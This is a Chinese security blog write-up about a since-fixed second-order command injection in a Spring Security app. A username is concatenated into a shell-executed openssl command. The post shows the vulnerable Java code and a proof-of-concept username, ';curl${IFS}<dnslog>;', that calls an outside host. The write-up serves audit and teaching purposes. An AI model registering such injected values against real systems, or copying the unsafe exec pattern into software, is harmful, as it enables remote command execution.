记一次"username"中的命令注入

admin 2021年12月31日03:56:33记一次"username"中的命令注入已关闭评论247 views字数 3891阅读12分58秒阅读模式

引言

  在JavaWeb中,在服务端主要通过调用Runtime.getRuntime.exec()方法或者ProcessBuilder.start()来执行系统命令。相关的漏洞场景之前已分享过,传送门:https://sec-in.com/article/302

  实际业务中发现一处username中的命令注入案例,当前漏洞已经修复完毕 。提取关键的的漏洞代码做下复盘。

具体过程

  系统通过SSM开发,通过SpringSecurity进行权限控制。

  具体的鉴权措施是结合jwt token实现的。首先用户通过登陆操作获得对应的token并保存在本地。此后的每次请求都在请求头中带上 token,服务器在收到客户端传来的请求时会判断是否有 token ,若有,判断本次访问的接口是否需要认证,是否需要相应的权限,根据认证结果返回对应的内容。

  下图是登录接口的数据包,可以看到登录成功后返回X_Auth_Token(jwt token)

记一次

  开发定义了一个过滤器AuthenticationTokenFilter,用于解析 token 并将用户所有的权限写入本次 Spring Security 的会话中,查看filter的具体实现:

```java
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
// 获取请求头的 token
String authToken = httpRequest.getHeader(this.tokenHeader);
// 获取 token 中的 username
String username = this.tokenUtils.getUsernameFromToken(authToken);

    // 如果上面解析 token 成功并且拿到了 username 并且本次会话的权限还未被写入
    if (username != null && SecurityContextHolder.getContext().getAuthentication() == null) {
        // 用 UserDetailsService 从数据库中拿到用户的 UserDetails 类
        // UserDetails 类是 Spring Security 用于保存用户权限的实体类
        UserDetails userDetails = this.userDetailsService.loadUserByUsername(username);
        // 检查用户带来的 token 是否有效
        // 包括 token 和 userDetails 中用户名是否一样, token 是否过期, token 生成时间是否在最后一次密码修改时间之前
        // 若是检查通过
        if (this.tokenUtils.validateToken(authToken, userDetails)) {
            // 生成通过认证
            UsernamePasswordAuthenticationToken authentication = new UsernamePasswordAuthenticationToken(userDetails, null, userDetails.getAuthorities());
            authentication.setDetails(new WebAuthenticationDetailsSource().buildDetails(httpRequest));
            // 将权限写入本次会话
            SecurityContextHolder.getContext().setAuthentication(authentication);
        }
        if (!userDetails.isEnabled()){
            ......
        }
    }

    chain.doFilter(request, response);
}

```

  这里通过tokenUtils.getUsernameFromToken()获取到username(实际上就是数据库里存储的用户名),然后传递username给loadUserByUsername()方法,此时当前用户的信息就被加载到SpringSecurity中了。通过Spring Security的authentication.getPrincipal()方法即可获取到当前登录用户的内容

  至于具体的接口以及鉴权路由暂时放一边,补充下一些其他信息:

  封装的用户信息UserDetailImpl.java:

```java
public class UserDetailImpl implements UserDetails {

private String id;
private String username;
private String password;
private Date lastPasswordReset;
private Collection<? extends GrantedAuthority> authorities;
private Boolean enabled;
private Boolean accountNonExpired;
private Boolean accountNonLocked;
private Boolean credentialsNonExpired;

......
......

}
```

  下面步入正题,在审计业务代码时发现一处通过openssl genrsa 生成rsa私钥文件的业务接口,openssl genrsa语法如下:

text
openssl genrsa[-out filename] [-passout arg] [-des] [-des3] [-idea] [-f4] [-3] [-rand file(s)] [-engine id] [numbits]

  对应的filename的格式为{当前登录用户名+certificate.pem},并且当前登录用户名是通过getUsername()方法获取的。方法代码如下:

  主要通过Spring Security的authentication.getPrincipal()获取Object,将其类型转换成定义的UserDetailImpl后,再调用getUsername()方法获取到用户名(根据之前对filter的分析,这里的用户名跟数据库存储中的用户名是一致的):

java
/**
* 获取当前登录的username
*/
public static String getUsername(Authentication authentication) {
String username="";
if(authentication!=null) {
Object principal = authentication.getPrincipal();
if(principal instanceof UserDetailImpl) {
username =((UserDetailImpl)principal).getUsername();
}else {
throw new RuntimeException("不合法的principal");
}
}
return username;
}

  获取当前登录的username并拼接,然后通过RunExec()方法执行命令,查看RunExec()函数的具体实现,主要是通过Runtime.getRuntime.exec()的方式执行命令。比较幸运的是,这里传入的参数为字符数组,参数部分可控且存在创建shell的操作。这里拼接的username实际上是用户可控的,那么也就是说可以考虑注册一个恶意的username达到命令注入的效果,有点二次注入的感觉:

java
Process proc=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});

记一次

  尝试结合dnslog进行验证,简单的使用;连接多条命令,尝试注册名为;curl${IFS}dnslog地址;的用户名,下面是数据库中的写入截图:

记一次

  首先登录准备好的带有恶意poc的用户名:

记一次

  JWT token解码:

记一次

  登录该账号后,按照前面的分析,在访问业务接口时携带jwt token,会把恶意的username加载进SpringSecurity中,此时请求对应业务接口后,按照前面的设想:当获取恶意的登录username后,curl命令会执行。  可以看到dnslog成功记录请求,说明命令注入成功,漏洞存在:

记一次

结语

  正所谓“一切输入都是不可信的”,在日常Spring相关项目审计中,除了关注常规的@RequestMapping与@GetMapping等注解标注相关接口以外,类似Spring Security的authentication.getPrincipal(),shiro的SecurityUtils.getSubject().getPrincipal()也是用户可控的输入点之一,在某些特定场景下也会导致对应的漏洞,达到意想不到的结果。

记一次

相关推荐: 变量覆盖漏洞

变量覆盖漏洞大多由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract()函数和parse_str(),import_request_variables()函数则是用在没有开启全局变量注册的时候,调用这个函数相当于开启了全局变量注册,在PHP 5.4…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日03:56:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次"username"中的命令注入https://cn-sec.com/archives/692018.html